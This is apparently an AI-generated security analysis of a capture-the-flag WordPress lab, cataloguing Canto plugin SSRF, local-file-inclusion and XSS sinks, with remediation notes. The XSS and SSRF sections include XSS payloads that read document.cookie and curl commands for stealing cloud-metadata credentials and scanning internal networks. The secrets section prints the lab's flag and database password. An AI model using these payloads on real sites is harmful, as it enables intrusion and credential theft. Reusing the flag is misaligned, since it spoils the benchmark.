    - Methods: POST (multipart/form-data)
    - Risk: Medium (file upload, potential for malicious files)
    - Protection: Requires `upload_files` capability
    - File Type Validation: WordPress checks MIME type via `wp_check_filetype_and_ext()`

### Internal Service Communication

This is a **monolithic single-container deployment** with no internal service-to-service communication. All components (Apache, PHP, MySQL) run within the same container (172.133.0.10/16) on Docker's custom_network bridge. There is no microservices architecture, no service mesh, and no internal API calls.

**Trust Relationships:**
- Apache trusts PHP execution (mod_php runs in-process)
- PHP trusts MySQL on localhost:3306 (no authentication token, uses password)
- No network-level isolation between web and database tiers

**Security Assumption Violations:**
The architecture assumes that compromising the web server (Apache/PHP) does not grant database access, but since both run in the same container with no network segmentation, **web server compromise = database compromise**. The only protection is the MySQL bind address (127.0.0.1), which prevents external network access but provides no isolation within the container.

### Input Validation Patterns

**WordPress Core Input Validation:**

WordPress implements multiple layers of input validation across all network-accessible endpoints:

1. **Sanitization Functions** (used throughout `/wp-includes/formatting.php`):
   - `sanitize_text_field()` - Strips tags, removes invalid UTF-8, converts entities
   - `sanitize_email()` - Validates and sanitizes email addresses
   - `sanitize_user()` - Username sanitization (alphanumeric + limited special chars)
   - `esc_url()` - URL validation and sanitization
   - `esc_sql()` - SQL escaping (deprecated, use prepared statements)

2. **Output Escaping** (context-aware):
   - `esc_html()` - HTML entity encoding
   - `esc_attr()` - Attribute value encoding
   - `esc_js()` - JavaScript string escaping
   - `wp_kses()` - Allowed HTML tags filtering

3. **Database Query Protection:**
   - `$wpdb->prepare()` - Prepared statements with placeholder substitution
   - Used in: User authentication (wp-login.php line 1284), post queries, user queries
   - Example: `$wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_login = %s", $username)`

4. **File Upload Validation** (`/wp-admin/includes/file.php`):
   - `wp_check_filetype_and_ext()` - Verifies file extension matches MIME type
   - Allowed MIME types: Configurable via `upload_mimes` filter
   - Default allowed: Images (JPG, PNG, GIF), Documents (PDF, DOC), Media (MP3, MP4)

**Canto Plugin Input Validation - CRITICAL FAILURES:**

The Canto plugin uses `sanitize_text_field()` on all `$_REQUEST` and `$_POST` parameters:

```php
// From get.php lines 8-14
$subdomain = sanitize_text_field($_REQUEST['subdomain']);
$app_api = sanitize_text_field($_REQUEST['app_api']);
$album = sanitize_text_field($_REQUEST['album']);
```

**However, sanitization is NOT validation:**
- `sanitize_text_field()` removes HTML tags and special characters
- It does NOT validate that `subdomain` is a valid Canto subdomain
- It does NOT validate that `app_api` is an allowed domain
- It does NOT prevent path traversal in `wp_abspath`

**Missing Validations:**
- ❌ No whitelist of allowed Canto domains
- ❌ No verification that `wp_abspath` points to actual WordPress installation
- ❌ No validation of file paths against directory traversal
- ❌ No validation of OAuth state parameter against stored value

### Background Processing

**WordPress Cron System:**
WordPress implements a pseudo-cron system via `/wp-cron.php` which is triggered by web requests rather than system cron. The Canto plugin registers a custom scheduled task:

- **Hook:** `fbc_scheduled_update` (registered at class-canto.php line 193-197)
- **Handler:** `Canto::fbc_scheduler()` (line 256)
- **Function:** Updates media from Canto on a schedule
- **Trigger:** Network requests to the site (WordPress checks if scheduled tasks are due)
- **Security:** Inherits WordPress authentication for scheduled task execution

**Privilege Model:**
Background tasks run with the same privileges as the web server user (www-data). They do NOT run as cron user or with elevated privileges. When `wp-cron.php` is accessed, it:
1. Checks for scheduled tasks in `wp_options` table (`cron` option)
2. Executes due tasks by calling registered callback functions
3. Runs in the context of the web request, subject to PHP execution limits

**Security Concern:**
The `fbc_scheduled_update` cron job makes external API calls to Canto using stored OAuth tokens. If an attacker compromises the database and modifies the `fbc_flight_domain` or `fbc_app_api` values in `wp_options`, scheduled tasks would make requests to attacker-controlled servers, creating a **persistent SSRF backdoor**.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Storage Locations:**

1. **wp-config.php** (`/app/html/wp-config.php` lines 55-62):
   - AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY
   - AUTH_SALT, SECURE_AUTH_SALT, LOGGED_IN_SALT, NONCE_SALT
   - ✅ **Properly Randomized** - High-entropy 64-character strings
   - ❌ **Static** - No rotation mechanism
   - ❌ **Stored in Code** - Not externalized to secrets manager

2. **Database Credentials** (`/app/html/wp-config.php` lines 30-33):
   - DB_NAME: `wordpress`
   - DB_USER: `wp_user`
   - DB_PASSWORD: `ThisIsNotPartOfTheChallenge!`
   - ❌ **Plaintext in Config File**
   - ❌ **No Secrets Manager Integration**

3. **OAuth Tokens** (`wp_options` table):
   - fbc_app_token (Canto OAuth access token)
   - fbc_app_refresh_token (Canto OAuth refresh token)
   - ❌ **Plaintext in Database**
   - ❌ **No Encryption at Rest**

4. **Email Credentials** (`wp_options` table):
   - mail_password: `"password"` (placeholder, not real credentials)
   - ❌ **Would be stored in plaintext if configured**

5. **CTF Flag** (`/.env` file and `/FLAG.txt`):
   - .env: `FLAG=flag{24796716-6e4f-4db6-adcb-2bc42d4c0fb3}`
   - Container: `/FLAG.txt` (created by Dockerfile ARG injection)
   - ❌ **Plaintext file on filesystem**

**Secret Rotation:**
- ❌ **NOT IMPLEMENTED** - No automated secret rotation
- WordPress security keys are static unless manually changed
- OAuth tokens expire but are not automatically rotated
- Database password never rotates

### Configuration Security

**Environment Separation:**

This is a **single-environment deployment** (development/demo). Evidence:
- `WP_DEBUG` set to `false` (wp-config.php line 71)
- No environment-specific configuration files
- `.env` file in project root (not recommended for production)

**Security Headers Configuration:**

**❌ NO SECURITY HEADERS SET** at any layer:

1. **Apache Level** (`.htaccess`):
   - File: `/app/html/.htaccess`
   - Only sets: HTTP Authorization header passthrough (line 8)
   - Missing: All security headers

2. **PHP Level** (WordPress):
   - Only sets: Cache control headers via `nocache_headers()`
   - Missing: CSP, X-Frame-Options, X-Content-Type-Options, HSTS, Referrer-Policy

3. **Infrastructure Level** (Nginx/CDN):
   - **NOT PRESENT** - No reverse proxy, CDN, or ingress controller

**Strict-Transport-Security (HSTS) Search:**
- Searched for: "Strict-Transport-Security", "HSTS", "max-age" in all config files
- **Result:** NOT FOUND
- **Implication:** Even if HTTPS were enabled, browsers would not enforce it

**Cache-Control Configuration:**
- Set by WordPress: `Cache-Control: no-cache, must-revalidate, max-age=0`
- Applied to: Admin pages, login page
- NOT applied to: Public pages (allows browser caching)

**Secret Handling:**
- Secrets stored in: wp-config.php (filesystem), wp_options table (database)
- ❌ No encryption of secrets at rest
- ❌ No environment variable injection (Docker Compose uses build ARG, not runtime ENV)

### External Dependencies

**Third-Party Services:**

1. **Canto DAM API**
   - OAuth Endpoint: `https://oauth.canto.com:443/oauth/rest/oauth2/authenticate`
   - API Endpoint: `https://{subdomain}.{app_api}/api/v1/`
   - Supported Domains: canto.com, canto.global, canto.de, ca.canto.com
   - Security: OAuth 2.0 Bearer tokens
   - Risk: **HIGH** - User-controllable URL components create SSRF vector

2. **WordPress.org API**
   - Purpose: Plugin and theme updates, WordPress core updates
   - Endpoints: `api.wordpress.org/plugins/update-check/1.1/`, `api.wordpress.org/core/version-check/1.7/`
   - Security: HTTPS, signature verification
   - Risk: Low (WordPress core handles update verification)

**PHP Package Dependencies:**
WordPress does not use Composer - all dependencies are bundled:
- PHPMailer 6.x (email sending)
- SimplePie (RSS parsing)
- Requests library (HTTP client)
- PclZip (ZIP archive handling)
- These are maintained by WordPress core team, updated with WP releases

**JavaScript Package Dependencies:**

Canto Plugin (package.json):
- grunt: ^1.0.1 (build tool)
- grunt-contrib-concat: ^1.0.1 (file concatenation)
- grunt-contrib-cssmin: ^2.2.1 (CSS minification)
- grunt-contrib-uglify: ^3.0.1 (JS minification)
- grunt-contrib-watch: ^1.0.0 (file watcher)

**Security Implication:** These are development dependencies (devDependencies), not loaded in production. However, outdated versions may contain vulnerabilities if the build process is compromised.

### Monitoring & Logging

**Security Event Logging:**

**WordPress Core Logging:**
- Debug Log: `/wp-content/debug.log` (when `WP_DEBUG_LOG` enabled)
- Currently: `WP_DEBUG` is `false` (wp-config.php line 71)
- ❌ No authentication logs
- ❌ No authorization failure logs
- ❌ No API access logs

**Apache Access Logs:**
- Default Location: `/var/log/apache2/access.log`
- Format: Common Log Format (CLF)
- Contains: IP address, timestamp, request method/URI, status code, user agent
- ✅ Captures all HTTP requests (including attacks)
- ❌ No log shipping or SIEM integration

**MySQL Query Logs:**
- General Query Log: Disabled by default
- Slow Query Log: Disabled by default
- ❌ No audit trail of database access

**Security Event Visibility:**

| Event Type | Logged | Location | Retention |
|------------|--------|----------|-----------|
| Login Attempts | ❌ No | N/A | N/A |
| Login Failures | ❌ No | N/A | N/A |
| Authorization Failures | ❌ No | N/A | N/A |
| File Uploads | ❌ No | N/A | N/A |
| Plugin File Access | ✅ Yes | Apache access.log | Until container restart |
| Database Queries | ❌ No | N/A | N/A |
| API Requests | ✅ Yes | Apache access.log | Until container restart |
| SSRF Attempts | ⚠️ Partial | PHP error log if connection fails | Until container restart |

**Monitoring Gaps:**
- No real-time alerting
- No SIEM integration
- No intrusion detection system (IDS)
- No web application firewall (WAF) logging
- No rate limiting or brute force detection
- Logs stored in container (lost on container restart)

---

## 7. Overall Codebase Indexing

The WordPress application codebase follows a modular, plugin-oriented architecture with clear separation between core framework code, extensibility layers, and user-customizable components. The root directory structure at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/` contains 375 PHP files organized into three primary directories: `/wp-admin/` (102 files for administrative interface), `/wp-includes/` (266 files containing WordPress core library), and `/wp-content/` (7 top-level files plus plugins and themes subdirectories). This organization reflects WordPress's philosophy of separating presentation (themes), functionality (plugins), and core framework logic (wp-includes), which aids in plugin development but complicates security auditing because plugin developers often bypass core security controls.

The codebase employs a hook-based extensibility system where plugins register functions to execute at specific points in the request lifecycle using `add_action()` and `add_filter()` calls. This pattern is evident in the Canto plugin's main file (`/wp-content/plugins/canto/canto.php`) which registers 24 different hooks for AJAX handling, admin menu creation, and media library integration. From a security perspective, this architecture creates attack surface expansion because each plugin can introduce new entry points (like the Canto plugin's six library files) that may not adhere to WordPress security best practices. The WordPress core enforces security through routing all public requests through `index.php` which loads `wp-config.php` for configuration, then `wp-settings.php` to initialize the environment, but **plugins can bypass this entire chain by being directly accessible as standalone PHP files**, which is the root cause of the critical vulnerabilities in this application.

Build orchestration is minimal in this project - WordPress core requires no build process as it's PHP-interpreted at runtime, but the Canto plugin includes a Node.js-based Grunt build system (configured in `/wp-content/plugins/canto/package.json` and `/wp-content/plugins/canto/Gruntfile.js`) for JavaScript minification and CSS preprocessing. The presence of `node_modules/`, `Gruntfile.js`, and generated `assets/dist/` directories indicates that plugin developers use modern frontend tooling despite the legacy PHP codebase. For security analysis, this means asset files in `/wp-content/plugins/canto/assets/js/` could contain minified or obfuscated code that requires build artifact inspection rather than source review. Testing frameworks are not present in this deployment - no PHPUnit tests, no JavaScript test suites, and no CI/CD pipeline configuration beyond a simple Makefile that delegates to Docker Compose. This absence of automated testing increases the risk that security regressions go undetected during code modifications, and the lack of static analysis tooling (no PHP_CodeSniffer, PHPStan, or Psalm configurations) means code quality and security vulnerabilities are not caught in the development workflow before deployment.

---

## 8. Critical File Paths

All file paths referenced in this security analysis, organized by functional category for downstream agent prioritization:

### Configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/.env` - Build-time environment variables, contains FLAG
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/docker-compose.yml` - Container orchestration configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/Dockerfile` - Container build definition with intentional vulnerabilities
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/supervisord.conf` - Process manager configuration (Apache + MySQL)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-config.php` - WordPress configuration (database credentials, security keys)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/.htaccess` - Apache URL rewriting and auth header configuration

### Authentication & Authorization
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-login.php` - Main authentication endpoint (lines 1273-1636 login, 788-822 logout)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/pluggable.php` - Session cookie configuration (lines 1093-1097), password hashing (line 2536)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/user.php` - User authentication functions (lines 106-447)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/capabilities.php` - Authorization and capability mapping (line 44)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/class-wp-session-tokens.php` - Session token management (line 123 create, 150 token generation)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/class-wp-user.php` - User model and roles
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/default-constants.php` - Cookie path constants (lines 302, 309, 330)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/class-canto-settings.php` - OAuth implementation (line 276 state generation, 482-513 callback handler)

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/index.php` - WordPress entry point
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-admin/admin.php` - Admin authentication (line 99 auth_redirect)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-admin/admin-ajax.php` - AJAX dispatcher
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-admin/admin-post.php` - POST handler
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/xmlrpc.php` - XML-RPC interface
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-cron.php` - Scheduled tasks endpoint
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-comments-post.php` - Comment submission
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-trackback.php` - Trackback/pingback receiver
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/rest-api/class-wp-rest-server.php` - REST API server (lines 172-198 authentication)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php` - URL fetcher endpoint (SSRF risk, lines 36-58, 224-254)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php` - User management API
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php` - Application password management

### Data Models & DB Interaction
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/class-wpdb.php` - Database wrapper (lines 1353-1582 prepare method)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/wp-db.php` - Database initialization
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/wordpress.sql` - Database seed file

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/package.json` - Node.js build dependencies
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/Gruntfile.js` - Build tool configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/version.php` - WordPress version information

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/pluggable.php` - Password hashing (line 2536), auth cookies (lines 857-890)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/class-canto-settings.php` - OAuth token storage (lines 487-491)

### Middleware & Input Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/formatting.php` - Sanitization functions
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/pluggable.php` - Nonce functions (line 2313 verify, 2376 create)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-admin/includes/file.php` - File upload validation

### Logging & Monitoring
- No dedicated logging configuration files (logs to `/var/log/apache2/access.log` and `/wp-content/debug.log` if enabled)

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/docker-compose.yml` - Container orchestration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/Dockerfile` - Container image definition
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/Makefile` - Build automation
- No Kubernetes, Terraform, or cloud infrastructure files

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/.env` - FLAG environment variable definition
- `/FLAG.txt` - Flag file in container root (created by Dockerfile ARG injection, line 45)

### 🚨 CRITICAL VULNERABILITY FILES (IMMEDIATE REVIEW PRIORITY)

#### Canto Plugin - Directly Accessible PHP Files with LFI/SSRF:
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/download.php` - LFI (line 5), SSRF (line 15)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/get.php` - LFI (line 5), SSRF (lines 31-43)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/detail.php` - LFI (line 3), SSRF (line 13)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/tree.php` - LFI (line 5), SSRF (lines 15-17)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/sizes.php` - LFI (lines 15, 18 with urldecode)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/copy-media.php` - LFI (line 55), SSRF (lines 86-91), file upload (line 203)

#### Canto Plugin - Additional Security-Relevant Files:
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/canto.php` - Main plugin file, AJAX hooks registration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/class-canto.php` - Core plugin class (AJAX handlers lines 210-214)

#### Frontend XSS Sinks:
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/themes/rock-tune/assets/js/playlist.js` - innerHTML XSS (lines 165-167, 393)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/assets/js/attachment.js` - jQuery.html() XSS (lines 34-37)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/assets/js/images.js` - React rendering with unsanitized data (lines 37-48)

---

## 9. XSS Sinks and Render Contexts

This section catalogs all Cross-Site Scripting (XSS) sinks found in network-accessible components of the WordPress application. Each sink represents a location where unsanitized user-controllable data is rendered in a browser context, potentially allowing attackers to execute arbitrary JavaScript in victims' browsers.

### 9.1 DOM-Based XSS - innerHTML Sinks (HIGH SEVERITY)

#### Sink #1: Audio Playlist Cover Image Injection

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/themes/rock-tune/assets/js/playlist.js`

**Line Numbers:** 165-167

**Code Snippet:**
```javascript
simp_cover.innerHTML = simp_a_url[index].dataset.cover ? 
    '<div style="background:url(' + simp_a_url[index].dataset.cover + ') no-repeat;background-size:cover;width:80px;height:80px;"></div>' : 
    '<i class="fa fa-music fa-5x"></i>';

simp_title.innerHTML = simp_source[index].querySelector('.simp-source').innerHTML;
simp_artist.innerHTML = simp_source[index].querySelector('.simp-desc') ? 
    simp_source[index].querySelector('.simp-desc').innerHTML : '';
```

**Render Context:** HTML Body Context (innerHTML assignment)

**User Input Source:** 
- `dataset.cover` - HTML data attribute on audio player links
- `.simp-source` element content - Likely sourced from WordPress post content
- `.simp-desc` element content - Artist description from post metadata

**Attack Vector:**
If an attacker can control the `data-cover` attribute on audio elements (via WordPress post content or custom fields), they can inject malicious HTML:

```html
<!-- Attacker payload in post content -->
<a data-cover="') onerror='alert(document.cookie)'//"></a>

<!-- Resulting vulnerable HTML after playlist.js execution -->
<div style="background:url(') onerror='alert(document.cookie)'//) no-repeat;">
```

**Severity:** HIGH

**Exploitability:** Medium - Requires ability to create/edit posts with custom HTML or data attributes

**Network Accessibility:** YES - Loaded on public-facing pages with embedded audio playlists (theme template files)

---

#### Sink #2: Playlist Player HTML Construction

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/themes/rock-tune/assets/js/playlist.js`

**Line Number:** 393

**Code Snippet:**
```javascript
simp_player.innerHTML = simp_elem;
```

**Context:** The `simp_elem` variable is constructed via string concatenation (lines 375-385) containing HTML for the audio player interface.

**User Input Source:** None directly - the HTML is mostly static, but if any dynamic data is inserted into `simp_elem` before this assignment, it would be vulnerable.

**Severity:** MEDIUM-LOW

**Exploitability:** Low - Primarily static content, but warrants code review for any dynamic data insertion points

---

### 9.2 jQuery .html() Sinks (HIGH SEVERITY)

#### Sink #3: Canto Media Item Metadata Display

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/assets/js/attachment.js`

**Line Numbers:** 34-37

**Code Snippet:**
```javascript
jQuery('#library-form .filename').html(item.name);
jQuery('#library-form .filesize').html(this.readableFileSize(item.size));
jQuery('#library-form .dimensions').html('');
jQuery('#library-form .uploaded').html(date);
```

**Render Context:** HTML Body Context (jQuery .html() method)

**User Input Source:** 
- `item.name` - File name from Canto API response
- `item.size` - File size from Canto API (processed through `readableFileSize()`)
- `date` - Derived from `item.time` via `new Date(parseInt(item.time)).toUTCString()`

**Attack Vector:**
If the Canto API is compromised or returns malicious content, or if an attacker can manipulate API responses via SSRF vulnerabilities, they can inject HTML/JavaScript:

```javascript
// Malicious Canto API response
{
  "name": "<img src=x onerror=alert(document.cookie)>",
  "size": 1024,
  "time": "1234567890"
}

// Result: JavaScript executes when metadata is displayed
```

**Severity:** HIGH

**Exploitability:** Medium - Requires either compromising Canto API or exploiting SSRF to return malicious responses

**Network Accessibility:** YES - WordPress admin media library interface (authenticated users)

---

### 9.3 React/JSX Rendering with Unsanitized Data (MEDIUM SEVERITY)

#### Sink #4: CSS Background Image URL Injection

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/assets/js/images.js`

**Line Numbers:** 37-48

**Code Snippet:**
```javascript
var divStyle = {
    backgroundImage: 'url(' + item[0].img + ')',
};

return (
    <li className="fbc_attachment attachment" onClick={this.handleClick.bind(this,item[0])}>
        <div className="attachment-preview" style={divStyle}>
            <a href={item[0].img} className="fullscreen" data-featherlight="image">
                <img src={item[0].img} />
            </a>
        </div>
    </li>
);
```

**Render Context:** CSS Context (style attribute) + URL Context (href and src attributes)

**User Input Source:** `item[0].img` - Image URL from Canto API responses

**Attack Vector:**
CSS injection via malicious URL in `backgroundImage`, or protocol handler attacks via `href`:

```javascript
// Malicious Canto API response
{
  "img": "javascript:alert(document.cookie)"
}

// Results in:
<a href="javascript:alert(document.cookie)">
```

**Severity:** MEDIUM

**Exploitability:** Medium - Requires controlling Canto API responses

**Network Accessibility:** YES - Canto media browser in WordPress admin (authenticated users)

---

### 9.4 Server-Side XSS - WordPress Core (LOW-MEDIUM RISK)

WordPress core implements robust output escaping throughout its codebase using context-aware escaping functions:

- `esc_html()` - Used for text in HTML body contexts
- `esc_attr()` - Used for HTML attribute values
- `esc_url()` - Used for URLs in href/src attributes
- `wp_kses()` - Used for allowed HTML filtering

**Potential Sinks in WordPress Core:**

1. **Comment Display** (`/wp-includes/comment-template.php`):
   - Function: `comment_text()`
   - Protection: Filtered through `wp_kses()` with allowed HTML tags
   - Risk: LOW - Properly escaped unless `wp_kses()` configuration is modified

2. **Post Content Display** (`/wp-includes/post-template.php`):
   - Function: `the_content()`
   - Protection: Filtered through `wpautop()` and allowed HTML tags
   - Risk: LOW-MEDIUM - Administrators can add unfiltered HTML, but this is by design

3. **User Input in Search** (`/wp-includes/general-template.php`):
   - Function: `get_search_query()`
   - Protection: Uses `esc_attr()` for output
   - Risk: LOW - Properly escaped

**Network Accessibility:** All WordPress core rendering functions are accessible via public pages

**Assessment:** WordPress core XSS protection is **ADEQUATE** when used correctly. The primary XSS risks in this application come from:
1. Custom plugin JavaScript (Canto plugin)
2. Theme JavaScript (Rock Tune theme)
3. Third-party API data rendered without sanitization

---

### Summary of XSS Findings

**Total XSS Sinks Found:** 4 high/medium severity sinks in network-accessible components

**By Severity:**
- **HIGH:** 3 sinks (playlist.js innerHTML, attachment.js jQuery.html)
- **MEDIUM:** 1 sink (images.js React rendering)
- **LOW:** WordPress core (adequate protection)

**By Render Context:**
- **HTML Body Context (innerHTML):** 2 sinks
- **HTML Body Context (jQuery .html()):** 1 sink
- **CSS/URL Context (React style/href):** 1 sink

**Attack Chains:**
1. **Playlist XSS:** Attacker creates post with malicious `data-cover` attribute → Visitor views page with audio player → XSS executes
2. **Canto Metadata XSS:** Attacker exploits SSRF to return malicious Canto API response → Admin views media library → XSS executes in admin context
3. **Canto Image URL XSS:** Malicious Canto API response with `javascript:` URL → Admin clicks media item → XSS executes

**Remediation Priority:**
1. **IMMEDIATE:** Sanitize all data from external APIs (Canto) before rendering
2. **HIGH:** Replace innerHTML with textContent or use DOMPurify library
3. **MEDIUM:** Add Content-Security-Policy header to mitigate XSS impact

---

## 10. SSRF Sinks

This section catalogs all Server-Side Request Forgery (SSRF) sinks where user input can influence outbound HTTP requests made by the server, potentially allowing attackers to probe internal networks, access cloud metadata, or exfiltrate data.

### 10.1 CRITICAL: Canto Plugin Unauthenticated SSRF Vulnerabilities

#### SSRF Sink #1: get.php - Search/Album Fetch with Full URL Control

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/get.php`

**Line Numbers:** 31-63

**Code Snippet:**
```php
// Lines 8-14: User input sanitized but not validated
$subdomain = sanitize_text_field($_REQUEST['subdomain']);
$app_api = sanitize_text_field($_REQUEST['app_api']);
$album = sanitize_text_field($_REQUEST['album']);
$keyword = sanitize_text_field($_REQUEST['keyword']);

// Lines 31-43: URL construction with user-controlled components
if (isset($album) && $album != null && !empty($album)) {
    $url = 'https://' . $subdomain . '.' . $app_api . '/api/v1/album/' . $album . 
           '?limit=' . $limit . '&start=' . $start . '&fileType=' . urlencode($fileType);
} else {
    $url = 'https://' . $subdomain . '.' . $app_api . '/api/v1/search?keyword=&limit=' . $limit . 
           '&start=' . $start . '&fileType=' . urlencode($fileType);
}

if (isset($keyword) && !empty($keyword)) {
    $url = 'https://' . $subdomain . '.' . $app_api . '/api/v1/search?keyword=' . urlencode($keyword) . 
           '&fileType=' . urlencode($fileType) . '&operator=and&limit=' . $limit . '&start=' . $start;
}

// Lines 53-59: SSRF sink - makes request to constructed URL
$response = wp_remote_get($url,
    array(
        'method' => 'GET',
        'headers' => $args_for_get,
        'timeout' => 120,
    )
);
```

**SSRF Sink Type:** `wp_remote_get()` with user-controlled URL

**User-Controllable Parameters:**
- `subdomain` - Full control (e.g., "169.254.169" for AWS metadata)
- `app_api` - Full control (e.g., "254/latest/meta-data/" to complete AWS metadata URL)
- `album` - Path component injection
- `keyword` - Query parameter injection

**Network Accessibility:** ✅ YES - **Directly accessible without authentication**
```
https://target.com/wp-content/plugins/canto/includes/lib/get.php?subdomain=169.254.169&app_api=254/latest/meta-data/iam/security-credentials/&wp_abspath=/var/www/html
```

**Attack Scenarios:**

1. **AWS Metadata Theft:**
```bash
curl "https://target.com/wp-content/plugins/canto/includes/lib/get.php?subdomain=169.254.169&app_api=254/latest/meta-data/iam/security-credentials/&wp_abspath=/var/www/html&token=x&limit=1&start=0"
# Response contains AWS IAM credentials
```

2. **Internal Network Scanning:**
```bash
# Scan internal subnet
for ip in {1..254}; do
  curl -s "https://target.com/wp-content/plugins/canto/includes/lib/get.php?subdomain=192.168.1.$ip&app_api=&wp_abspath=/var/www/html" | grep -q "error" || echo "Host 192.168.1.$ip is up"
done
```

3. **Port Scanning:**
```bash
curl "https://target.com/wp-content/plugins/canto/includes/lib/get.php?subdomain=internal-service.local:3306&app_api=&wp_abspath=/var/www/html"
# Different responses for open vs closed ports
```

**Severity:** **CRITICAL**

**Exploitability:** Trivial - No authentication required, URL fully controllable

---

#### SSRF Sink #2: download.php - Image Download with URL Manipulation

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/download.php`

**Line Numbers:** 5, 15, 22-28

**Code Snippet:**
```php
// Line 5: Loads WordPress (authentication bypassable via wp_abspath manipulation)
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');

// Lines 7-11: User-controlled parameters
$request_subdomain = sanitize_text_field($_REQUEST['subdomain']);
$request_app_api = sanitize_text_field($_REQUEST['app_api']);
$request_id = sanitize_text_field($_REQUEST['id']);

// Line 15: URL construction
$url = 'https://' . $request_subdomain . '.' . $request_app_api . 
       '/api_binary/v1/advance/image/' . $request_id . '/download/directuri?type=jpg&dpi=72';

// Lines 22-28: SSRF sink
